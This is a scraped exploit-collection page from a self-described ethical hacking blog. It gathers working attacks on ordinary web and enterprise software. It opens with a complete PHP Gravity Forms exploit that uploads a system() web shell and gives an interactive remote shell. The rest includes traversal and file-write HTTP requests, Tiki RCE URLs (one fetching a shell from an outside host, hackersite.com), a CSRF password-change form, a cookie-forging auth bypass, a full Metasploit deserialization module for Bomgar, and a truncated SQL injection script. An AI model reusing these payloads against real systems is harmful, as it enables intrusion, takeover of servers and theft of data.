<?php
/****************************************************************************************************************************
*
* Exploit Title : Gravity Forms [WP] - Arbitrary File Upload
* Vulnerable Version(s): 1.8.19 (and below)
* Write-Up : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
* Coded by : Abk Khan [ an0nguy @ protonmail.ch ]
*
*****************************************************************************************************************************/
error_reporting(0);
echo "
_____ _ _ ______ _ _
/ ____| (_) | | ____| | | |
| | __ _ __ __ ___ ___| |_ _ _| |__ __ _| | |___
| | |_ | '__/ _` \ \ / / | __| | | | __/ _` | | / __|
| |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
\_____|_| \__,_| \_/ |_|\__|\__, |_| \__,_|_|_|___/
__/ |
|___/ > an Exploiter by AnonGuy\n";
$domain = (@$argv[1] == '' ? 'http://localhost/wordpress' : @$argv[1]);
$url = "$domain/?gf_page=upload";
$shell = "$domain/wp-content/_input_3_khan.php5";
$separator = '-------------------------------------------------------------------';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, '<?php system($_GET[0]); ?>&form_id=1&name=khan.php5&gform_unique_id=../../../../&field_id=3');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, '"ok"') !== false) {
echo "$separator\nShell at $shell\n$separator\nSpawning a 'No-Session' Shell . . . Done!\n$separator\n";
while ($testCom != 'exit') {
$user = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20whoami;%20echo%20'~'"), '~', '~'));
$b0x = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20hostname;%20echo%20'~'"), '~', '~'));
echo "$user@$b0x:~$ ";
$handle = fopen("php://stdin", 'r');
$testCom = trim(fgets($handle));
fclose($handle);
$comOut = trim(get_string_between(file_get_contents("$shell?0=echo%20'~';%20" . urlencode($testCom) . ";%20echo%20'~'"), '~', '~')) . "\n";
echo $comOut;
}
}
else {
die("$separator\n$domain doesn't seem to be vulnerable! :(\n$separator");
}
function get_string_between($string, $start, $end)
{
# stolen from stackoverflow!
$string = ' ' . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return '';
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
?>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863104400
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Product: Solarwinds Virtualization Manager
Vendor: Solarwinds
Vulnerable Version(s): < 6.3.1
Tested Version: 6.3.1
Vendor Notification: April 25th, 2016
Vendor Patch Availability to Customers: June 1st, 2016
Public Disclosure: June 14th, 2016
Vulnerability Type: Security Misconfiguration
CVE Reference: CVE-2016-3643
Risk Level: High
CVSSv2 Base Score: 7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RL:W/RC:C/CR:M/IR:M/AR:M/MAV:L/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H)
Solution Status: Solution Available
Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
Depth Security discovered a vulnerability in Solarwinds Virtualization Manager appliance.
This attack requires a user to have an operating system shell on the vulnerable appliance.
1) Misconfiguration of sudo in Solarwinds Virtualization Manager: CVE-2016-3643
The vulnerability exists due to the miconfiguration of sudo in that it allows any local user to use sudo to execute commands as the superuser.
A local attacker can obtain root privileges to the operating system regardless of privilege level.
-----------------------------------------------------------------------------------------------
Solution:
Solarwinds has released a hotfix to remediate this vulnerability on existing installations.
This flaw as well as several others have been corrected and that release has been put into manufacturing for new appliances.
-----------------------------------------------------------------------------------------------
Proof of Concept:
The following is an example of the commands necessary for a low-privileged user to dump the contents of the "/etc/shadow" file by using sudo.
sudo cat /etc/passwd
-----------------------------------------------------------------------------------------------
References:
[1] Solarwinds Virtualization Manager- http://www.solarwinds.com/virtualization-manager - Solarwinds Virtualization Manager provides monitoring and remediation for virtualized environments.
Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability
Vendor: Gemalto NV | SafeNet, Inc
Product web page: http://www.gemalto.com | http://www.safenet-inc.com
Affected version: 18.0.1.55505
Summary: The Sentinel License Manager enforces and manages licensing
in multi-user environment. It keeps track of all the licenses and
handles requests from network users who want to run your application,
granting authorization to the requesters to allow them to run the
application, and denying requests when all licenses are in use. It is
an integral component of the network licensing schemes that can be
implemented with Sentinel RMS, namely server-locked licenses, site
licenses and commuter licenses.
Desc: Input passed via the 'alpremove' and 'check_in_file' parameters
is not properly verified in '/_int_/action.html' and '/_int_/checkin_file.html'
before being used to delete and create files. This can be exploited to
arbitrarily delete sensitive information on a system and/or write files
via directory traversal attacks.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
HASP LM/18.00 (web server)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5330
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5330.php
26.04.2016
--
1. Unauthenticated file removal using POST or GET:
--------------------------------------------------
1st request renames the file to meaning_of_life.txt.bak
2nd request removes the file entirely from C:\
--------------------------------------------------------
POST /_int_/action.html HTTP/1.1
Host: localhost:1947
alpremove=/../../../../../../../meaning_of_life.txt
OR
1st req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1
2nd req: GET http://localhost:1947/_int_/action.html?alpremove=/../../../../../../../meaning_of_life.txt HTTP/1.1
2. Unauthenticated file write:
------------------------------
PoC that creates license file in C:\
-------------------------------------
POST /_int_/checkin_file.html HTTP/1.1
Host: localhost:1947
Content-Length: 770
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:1947
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVlbofFpDmUw9CugB
Referer: http://localhost:1947/_int_/checkin.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: hasplmlang=_int_
Connection: close
------WebKitFormBoundaryVlbofFpDmUw9CugB
Content-Disposition: form-data; name="check_in_file"; filename="\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\jxzp"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8" ?>
<location>
<license_manager id="\..\..\..\..\..\..\..\..\..\..\..\juuzzta" time="0">
<version>18.0.1.55505</version>
<hostname>LAB-ZSL</hostname>
<name>LAB-ZSL</name>
<host_fingerprint type="SL-AdminMode" crc="1439826437">
MXhJSWPdmwJr2iAIUgAGKBk/7N4U2GbJjLA6hGC1VHDvrsA2W+8e2ChuAFYgF6ZG
ttm6N6iupYkEEHzcQQrG1r0pIGBarRkAy0GR46nuTYFtm8iAMA5IBQoP82wKbLMl
gUKpUABvAmhFimCbrXumJpsOA8ApTjaU12zdm0LkvsgTAPECCFTau
</host_fingerprint>
</license_manager>
</location>
------WebKitFormBoundaryVlbofFpDmUw9CugB--
1. Vulnerable Product Version:
*Blat v3.2.14*
Link: blat.net
2. Vulnerability Information
Impact: Attacker may gain administrative access / can perform a DOS
Remotely Exploitable: No
Locally Exploitable: May be possible
3. Product Details
An open source Windows (32 & 64 bit) command line SMTP mailer. We can use
it to automatically email logs, the contents of a html FORM, or whatever
else you need to send.
Since blat is lightweight, user friendly and simple (but awesome) many
vendors incorporates it with their Softwares. I have seen blat in many
commercial Softwares which use it for sending mails to its customers. And
Blat is awesome.
4. Vulnerability Description
The Overflow vulnerability lies in the profile option parameter “–p”. When
a string of 236 bytes is send to blat, the EBP and EIP register gets
overwritten by the user input.
Reproduction:
* blat.exe crashes with this command blat.exe –install
smtp.my.tld 127.0.0.1 –p <”A”*234+”B”*2>*
Feeding this command overwrites EBP with 0x00410041 and EIP with 0x00420042
(Please refer to the attached screen shot)
5. Links
https://sourceforge.net/projects/blat/
https://groups.yahoo.com/neo/groups/blat/conversations/messages/13759
# Exploit Title: Tiki-Calendar-RCE
# Google Dork: inurl:tiki-calendar.php
# Date: 2015-12-16
# Exploit Author: Dany Ouellet
# Vendor Homepage: https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
# Software Link: https://tiki.org/Download
# Version: ALL supported versions of Tiki (14.2, 12.5 LTS, 9.11 LTS and 6.15)(if not patched)
# Tested on: Windows and Linux
Hi, I recently discover an important flaw in CMS Tiki-Wiki. I reported the
vulnerability directly to vendor and a patch is now avalaible. So I release
the exploit. ;)
PoC:
Validate the vulnerability:
http://victimesite/tiki-calendar.php?viewmode=';print(TikiWikiRCE);$a='
Write or deface the site:
http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen(%22index6.php%22,%27w%27);%20fwrite($z,(%22TikiWikiRCE%22));fclose($z);$a=%27
Execute a php shellcode:
http://victimesite/tiki-calendar.php?viewmode=%27;%20$z=fopen%28%22shell.php%22,%27w%27%29;fwrite%28$z,file_get_contents%28%22http://hackersite.com/r57.txt%22%29%29;fclose%28$z%29;%27
<!--
# Exploit Title: CSRF Vulnerability on Slim CMS v0.1
# CMS Link: https://github.com/revuls/SlimCMS/releases
# Date: 16th June'2016
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://www.slimcms.nl/
# Software Link: https://github.com/revuls/SlimCMS/releases
# Version: Slim CMSv0.1
# Tested on: Windows 10, XAMPP
# Twitter: https://twitter.com/m_avinash143
CSRF : Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.
Vulnerability Description :
It is possible to change the password of the administrator and complete account can be take over using this.
Steps to Reproduce the same
1. Login into the account.
2. Navigate to http://localhost/SlimCMS/admin/config
3. Fill the details and intecept the request using BurpSuite
Request Intercepted
-------------------
-->
<html>
<body>
<form action="http://localhost/SlimCMS/api/config" method="POST">
<input type="hidden" name="title" value="{{7*7}}" />
<input type="hidden" name="description" value="{{7*7}}" />
<input type="hidden" name="user" value="admin" />
<input type="hidden" name="password" value="password" />
<input type="hidden" name="theme" value="default" />
<input type="hidden" name="url" value="http://localhost/SlimCMS" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!--
4. Send the link to victim and password will be changed for the admin user (Once the victim's clicks on the URL).
-->
# Exploit Title: Roxy Fileman <= 1.4.4 Forbidden File Upload Vulnerability
# Google Dork: intitle:"Roxy file manager"
# Date: 15-06-2016
# Exploit Author: Tyrell Sassen
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.4-php
# Version: 1.4.4
# Tested on: PHP
1. Description
The Roxy File Manager has a configuration setting named FORBIDDEN_UPLOADS,
which keeps a list of forbidden file extensions that the application will
not allow to be uploaded. This configuration setting is also checked when
renaming an existing file to a new file extension.
It is possible to bypass this check and rename already uploaded files to
any extension, using the move function as this function does not perform
any checks.
2. Proof of Concept
http://host/fileman/php/movefile.php?f=/Upload/backdoor.jpg&n=/Upload/backdoor.php
The renamed file will now be accessible at http://host/Upload/backdoor.php
# Title: ATCOM PBX system , auth bypass exploit
# Author: i-Hmx
# contact : n0p1337@gmail.com
# Home : sec4ever.com
# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A
Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines
js/util.js
function alertWithoutLogin(){
var username = getCookie("username");
//alert(username);
if(!!!username){
alert('Sorry, permission denied. Please login first!');
}
}
so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!
exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/
Demo request
GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1
From Eg-R1z with love
./Faris
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=780
Several functions in the GPU command buffer service interact with the GPU
mailbox manager (gpu/command_buffer/service/mailbox_manager_impl.cc), passing a reference to shared memory as the mailbox argument.
MailboxManagerImpl does not expect this mailbox argument to be malleable in this way, and it is in several places copied and passed to various stl functions, resulting in unexpected behaviour from double-reads when an attacker modifies the mailbox name mid function.
The attached POC uses the GPU command 'ProduceTextureDirectCHROMIUMImmediate' to trigger a use-after-free but other commands that interact with the mailbox manager should also be vulnerable in a similar way.
error::Error GLES2DecoderImpl::HandleProduceTextureDirectCHROMIUMImmediate(
uint32_t immediate_data_size,
const void* cmd_data) {
const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate& c =
*static_cast<const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate*>(
cmd_data);
(void)c;
GLuint texture = c.texture;
GLenum target = static_cast<GLenum>(c.target);
uint32_t data_size;
if (!ComputeDataSize(1, sizeof(GLbyte), 64, &data_size)) {
return error::kOutOfBounds;
}
if (data_size > immediate_data_size) {
return error::kOutOfBounds;
}
// ** mailbox is a pointer into our shared memory buffer **
const GLbyte* mailbox =
GetImmediateDataAs<const GLbyte*>(c, data_size, immediate_data_size);
if (!validators_->texture_bind_target.IsValid(target)) {
LOCAL_SET_GL_ERROR_INVALID_ENUM("glProduceTextureDirectCHROMIUM", target,
"target");
return error::kNoError;
}
if (mailbox == NULL) {
return error::kOutOfBounds;
}
DoProduceTextureDirectCHROMIUM(texture, target, mailbox);
return error::kNoError;
}
void GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM(GLuint client_id,
GLenum target, const GLbyte* data) {
TRACE_EVENT2("gpu", "GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM",
"context", logger_.GetLogPrefix(),
"mailbox[0]", static_cast<unsigned char>(data[0]));
ProduceTextureRef("glProduceTextureDirectCHROMIUM", GetTexture(client_id),
target, data);
}
void GLES2DecoderImpl::ProduceTextureRef(const char* func_name,
TextureRef* texture_ref,
GLenum target,
const GLbyte* data) {
// ** mailbox is still a pointer to shared memory **
const Mailbox& mailbox = *reinterpret_cast<const Mailbox*>(data);
DLOG_IF(ERROR, !mailbox.Verify()) << func_name << " was passed a "
"mailbox that was not generated by "
"GenMailboxCHROMIUM.";
if (!texture_ref) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "unknown texture for target");
return;
}
Texture* produced = texture_manager()->Produce(texture_ref);
if (!produced) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "invalid texture");
return;
}
if (produced->target() != target) {
LOCAL_SET_GL_ERROR(
GL_INVALID_OPERATION, func_name, "invalid target");
return;
}
group_->mailbox_manager()->ProduceTexture(mailbox, produced);
}
void MailboxManagerImpl::ProduceTexture(const Mailbox& mailbox,
Texture* texture) {
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
if (it != mailbox_to_textures_.end()) {
if (it->second->first == texture)
return;
TextureToMailboxMap::iterator texture_it = it->second;
mailbox_to_textures_.erase(it);
textures_to_mailboxes_.erase(texture_it);
}
InsertTexture(mailbox, texture);
}
void MailboxManagerImpl::InsertTexture(const Mailbox& mailbox,
Texture* texture) {
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// ** modify mailbox at this point **
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
}
We can leverage this for memory corruption in the GPU process by a slightly roundabout route; since each entry in the mailbox_to_textures_ has an iterator to an entry in textures_to_mailboxes_, and it is an expected invariant that both of these entries have the same mailbox name. By starting to create a mailbox named aaaa...aaaa and waiting until the first insert is complete before changing the mailbox name to AAAA...aaaa, then adding a second entry with the same texture reference but with the actual name aaaa...aaaa we get the following situation (example trace through the code from ProduceTexture with InsertTexture call inlined):
// first entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// modify - mailbox.name = 'AAAA...aaaa'
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// second entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed (since 'AAAA...aaaa' != 'aaaa...aaaa')
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it =
textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// texture_it is the same as before; since there already exists the pair
// 'aaaa...aaaa', t1* in textures_to_mailboxes, the insert returns an
// iterator to the existing element.
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// aaaa...aaaa, it -----------/
// so both entries in mailbox_to_textures_ have the same iterator.
// third entry - mailbox.name = 'aaaa...aaaa', texture = t2
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// this time we find an entry
if (it != mailbox_to_textures_.end()) {
// t1 != t2
if (it->second->first == texture)
return;
// so we remove the previous entry for aaaa...aaaa
TextureToMailboxMap::iterator texture_it = it->second;
mailbox_to_textures_.erase(it);
textures_to_mailboxes_.erase(texture_it);
}
// mailbox_to_textures_ textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> ??
// aaaa...aaaa, it ------------------------------> aaaa...aaaa, t2
Leaving mailbox AAAA...aaaa with a dangling reference to a no-longer valid iterator into textures_to_mailboxes_; (std::map and std::multimap iterators are invalidated by a call to erase() the element that they reference). The attached poc then calls some further methods on the mailbox to trigger a use of the dangling iterator that is detectable by ASAN.
Updated POC to work on the latest asan linux build, command buffer ids were out of date.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39961.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=747
The attached PoC crashes 32-bit Windows 7 with special pool enabled on win32k.sys. It might take several runs in order to reproduce. Tested the PoC on a single core VM.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39960.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize
super(
'Name' => 'Bomgar Remote Support Unauthenticated Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Bomgar Remote Support, which
deserializes user provided data using PHP's `unserialize` method.
By providing an specially crafted PHP serialized object, it is possible
to write arbitrary data to arbitrary files. This effectively allows the
execution of arbitrary PHP code in the context of the Bomgar Remote Support
system user.
To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
and can be retrieved by an unauthenticated user at the end of the process
of submitting a new issue via the 'Issue Submission' form.
Versions before 15.1.1 are reported to be vulnerable.
},
'Author' =>
[
'Markus Wulftange',
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 5 2015',
'References' =>
[
['CWE', '94'],
['CWE', '502'],
['CVE', '2015-0935'],
['US-CERT-VU', '978652'],
['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
],
'Privileged' => false,
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'TARGETURI' => '/session_complete',
},
)
register_options(
[
OptString.new('LSID', [true, 'Logging Session ID']),
], self.class
)
end
def check
version = detect_version
if version
print_status("Version #{version} detected")
if version < '15.1.1'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
print_status("Version could not be detected")
return Exploit::CheckCode::Unknown
end
def exploit
execute_cmdstager
handler
end
def execute_command(cmd, opts)
tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"
vprint_status("Uploading payload to #{tmpfile} ...")
upload_php_file(tmpfile, generate_stager_php(cmd))
vprint_status("Triggering payload in #{tmpfile} ...")
execute_php_file(tmpfile)
end
def detect_version
res = send_request_raw(
'uri' => '/'
)
if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
return $1
end
end
def upload_php_file(filepath, data)
send_pso(generate_upload_file_pso(filepath, data))
end
def execute_php_file(filepath)
send_pso(generate_autoload_pso(filepath))
end
def send_pso(pso)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'lsid' => datastore['LSID'],
'survey' => pso,
}
)
if res
if res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
end
if res.body.to_s =~ />ERROR: ([^<>]+)</
fail_with(Failure::Unknown, "Error occured: #{$1}")
end
else
fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
end
res
end
def generate_stager_php(cmd)
"<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
end
def generate_upload_file_pso(filepath, data)
log_file = PHPObject.new(
"Log_file",
{
"_filename" => filepath,
"_lineFormat" => "",
"_eol" => data,
"_append" => false,
}
)
logger = PHPObject.new(
"Logger",
{
"\0Logger\0_logs" => [ log_file ]
}
)
tracer = PHPObject.new(
"Tracer",
{
"\0Tracer\0_log" => logger
}
)
serialize(tracer)
end
def generate_autoload_pso(filepath)
object = PHPObject.new(
filepath.chomp('.php').gsub('/', '_'),
{}
)
serialize(object)
end
class PHPObject
attr_reader :name, :members
def initialize(name, members)
@name = name
@members = members
end
end
def serialize(value)
case value.class.name.split('::').last
when 'Array' then serialize_array_numeric(value)
when 'Fixnum' then serialize_integer(value)
when 'Float' then serialize_double(value)
when 'Hash' then serialize_array_assoc(value)
when 'Nil' then serialize_nil
when 'PHPObject' then serialize_object(value)
when 'String' then serialize_string(value)
when 'TrueClass', 'FalseClass' then serialize_boolean(value)
else raise "Value of #{value.class} cannot be serialized"
end
end
def serialize_array_numeric(a)
"a:#{a.size}:{" + a.each_with_index.map { |v, i|
serialize_integer(i) + serialize(v)
}.join + "}"
end
def serialize_array_assoc(h)
"a:#{h.size}:{" + h.each_pair.map { |k, v|
serialize_string(k) + serialize(v)
}.join + "}"
end
def serialize_boolean(b)
"b:#{b ? '1' : '0'};"
end
def serialize_double(f)
"d:#{f};"
end
def serialize_integer(i)
"i:#{i};"
end
def serialize_null
"N;"
end
def serialize_object(o)
"O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
end
def serialize_string(s)
"s:#{s.size}:\"#{s}\";"
end
end
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=746
The attached PoC triggers a blue screen on Windows 7 with special pool enabled on win32k.sys . A reference to the bitmap object still exists in the device context after it has been deleted.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39959.zip
# Exploit Title: jbFileManager - Path Traversal(view/add/delete)
# Date: 2016-06-15
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/ismiranda/jbFileManager
# Software Link: https://github.com/ismiranda/jbFileManager/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]
### Vulnerability Code
View dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/
Delete file/dir
http://127.0.0.1/vul_test/jbFileManager/jbfm/jbfm.php?act=del&file=/../../deltest
Add file/dir
POST /vul_test/jbFileManager/jbfm/jbfm.php?act=upload&path=/jbfm/../../ HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Type: multipart/form-data; boundary=---------------------------218453159691639901924454468
Content-Length: 232
-----------------------------218453159691639901924454468
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: text/plain
asdfjasldfjaslkfjl
-----------------------------218453159691639901924454468--
### Vulnerability Request/Response -> View dir
View
GET /vul_test/jbFileManager/jbfm/jbfm.php?act=open&path=/../../../../../../../../../etc/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/jbFileManager/jbfm/
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; PHPSESSID=rk2mj70ukt2489t4hrrsj5mr33; jiathis_rdc=%7B%22http%3A//127.0.0.1/vul_test/KodExplore/index.php%22%3A%220%7C1465950328195%22%7D
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 08:53:39 GMT
Server: Apache/2.4.10 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 12955
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
[{"name":"libaudit.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/libaudit.conf","class":"undefined"},{"name":"qemu-ifup","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/qemu-ifup","class":"undefined"},{"name":"rsyslog.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rsyslog.conf","class":"undefined"},{"name":"smi.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/smi.conf","class":"undefined"},{"name":"inputrc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/inputrc","class":"undefined"},{"name":"shadow-","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/shadow-","class":"undefined"},{"name":"rpc","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/rpc","class":"undefined"},{"name":"host.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/host.conf","class":"undefined"},{"name":"issue","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/issue","class":"undefined"},{"name":"ltrace.conf","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/ltrace.conf","class":"undefined"},{"name":"subuid","link":"\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/\/subuid","class":"undefined"},
...snip...
#!/bin/env python
################################################################################################
# Exploit title: Password Recovery Sql Injection
# Exploit Author: Tiago Carvalho
# Vendor Homepage: http://www.phplivesupport.com/?plk=osicodes-5-ykq-m
# Version : 4.4.8 - 4.5.4
# Product Name: Phplive
# Tested on: Debian \ Kali linux 2016-1
################################################################################################
"""
Their are multiple sql injection vunlerabilities in this product.
The exploit uses the sql injection vulnerability on the last step of the password recovery process
and force the application to rest the password and show the username, without requiring authentication
or to ever execute the first step, the vulnerability allows the recovery of both admin and operator.
Vulnerable code location: API/Setup/get.php
The filtering in place allows alphanumeric and restricts the use of serveral special chars,
its use of mysql escape functions and stripslashes are bypassed by since theirs no need to inject
special char to create a valid statement.
FUNCTION Setup_get_InfoByID( &$dbh,
$adminid )
{
if ( $adminid == "" )
return false ;
LIST( $adminid ) = database_mysql_quote( $dbh, $adminid ) ;
$query = "SELECT * FROM p_admins WHERE adminID = $adminid LIMIT 1" ;
database_mysql_query( $dbh, $query ) ;
if ( $dbh[ 'ok' ] )
{
$data = database_mysql_fetchrow( $dbh ) ;
return $data ;
}
return false ;
}
Vulnerable code location: /API/Ops/get.php
FUNCTION Ops_get_OpInfoByID( &$dbh,
$opid )
{
if ( $opid == "" )
return false ;
LIST( $opid ) = database_mysql_quote( $dbh, $opid ) ;
$query = "SELECT * FROM p_operators WHERE opID = $opid LIMIT 1" ;
database_mysql_query( $dbh, $query ) ;
if ( $dbh[ 'ok' ] )
{
$data = database_mysql_fetchrow( $dbh ) ;
return $data ;
}
return false ;
}
"""
import re
import urllib2
import md5
import string
import argparse
match = re.compile(r"<div\sclass=\"edit_title\".*?>(.*)</div>", re.MULTILINE)
server_url = "localhost/phplive"
def build_payload(host, sql, search_exp, target, last_active, passwd):
req_url = "http://%s/index.php%s"
url_params = "?v=%s&%s=0+%s"
str = sql % (last_active, passwd, search_exp)
